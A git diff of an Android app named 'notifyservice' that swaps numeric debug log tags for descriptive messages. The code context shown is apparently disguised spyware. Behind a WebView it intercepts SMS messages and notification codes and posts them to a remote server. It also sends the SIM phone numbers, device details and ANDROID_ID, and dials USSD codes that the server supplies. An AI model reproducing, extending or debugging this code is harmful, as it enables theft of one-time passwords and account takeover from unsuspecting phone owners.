diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index b693e97..fe3a09e 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -179,9 +179,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - Log.i("a", "2"); // STATIC + Log.i("a", "Loading data..."); // STATIC loadData(); - Log.i("a", "3"); // STATIC + Log.i("a", "Data loaded."); // STATIC } @@ -189,17 +189,17 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - Log.i("a", "4"); // STATIC + Log.i("a", "Requesting ussds"); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - Log.i("a", "5"); // STATIC + Log.i("a", "Requesting languages"); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - Log.i("a", "6"); // STATIC + Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC @@ -210,14 +210,14 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static void setKey(Context context, String key) { - Log.i("a", "7"); // STATIC + Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - Log.i("a", "8"); // STATIC + Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -242,7 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - Log.i("a", "9"); // STATIC + Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -251,7 +251,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - Log.i("a", "10"); // STATIC + Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -275,7 +275,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - Log.i("a", "11"); // STATIC + Log.i("a", "Collected device info"); // STATIC return m_data; } @@ -293,7 +293,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba registerReceiver(notificationReceiver, filter); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - Log.i("a", "12"); // STATIC + Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -302,7 +302,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private class NotificationReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { - Log.i("a", "13"); // STATIC + Log.i("a", "On receive notification"); // STATIC String code = intent.getStringExtra("code"); onNotificationReceived(code); } @@ -311,7 +311,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public void onNotificationReceived(String code) { if(codes.contains(code)) return; - Log.i("a", "14"); // STATIC + Log.i("a", "onNotificationReceived"); // STATIC codes.add(code); cancelTimer(); PostRequest postRequestTask = new PostRequest(this, this); @@ -321,28 +321,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - Log.i("a", "15"); // STATIC + Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - Log.i("a", "16"); // STATIC + Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - Log.i("a", "17"); // STATIC + Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - Log.i("a", "18"); // STATIC + Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -359,12 +359,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - Log.i("a", "19"); // STATIC + Log.i("a", "SavePhone"); // STATIC if(phone.phoneProvided()){ - Log.i("a", "20"); // STATIC + Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - Log.i("a", "21"); // STATIC + Log.i("a", "Phone not provided"); // STATIC receivingSms = false; currentHash = ""; // STATIC if(!isSimConnected(context, phone.telephonyManager)) @@ -376,7 +376,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ currentHash = ""; // STATIC - Log.i("a", "22"); // STATIC + Log.i("a", "Requesting phone"); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -384,7 +384,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - Log.i("a", "23"); // STATIC + Log.i("a", "On post Response"); // STATIC try { Log.i("result", result.toString()); // STATIC if(result.has("hash")) { // STATIC @@ -412,7 +412,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - Log.i("a", "24"); // STATIC + Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -442,7 +442,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private boolean isNotificationServiceEnabled() { - Log.i("a", "25"); // STATIC + Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -457,7 +457,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - Log.i("a", "26"); // STATIC + Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -471,7 +471,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestPermissions(String[] permissions) { - Log.i("a", "27"); // STATIC + Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -499,7 +499,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - Log.i("a", "28"); // STATIC + Log.i("a", "requestUssdNumber"); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -539,7 +539,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - Log.i("a", "30"); // STATIC + Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -590,7 +590,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - Log.i("a", "31"); // STATIC + Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -600,7 +600,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - Log.i("a", "32"); // STATIC + Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index cd754fa..9203ca4 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -35,6 +35,7 @@ public class PostRequest { public final OkHttpClient client = new OkHttpClient(); public void execute(String... params) { + Log.i("ExecutePost", "Post Executing..."); String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis())); String key = MainActivity.getKey(context) + timeStamp;